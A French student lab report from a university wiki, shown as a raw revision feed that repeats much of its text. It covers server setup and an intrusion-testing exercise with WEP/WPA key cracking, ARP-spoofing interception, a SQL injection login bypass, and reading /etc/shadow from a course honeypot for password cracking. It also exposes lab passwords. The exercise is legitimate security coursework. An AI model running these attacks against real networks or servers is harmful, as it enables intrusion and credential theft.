  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55144</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55144"/>
				<updated>2020-12-21T18:00:14Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
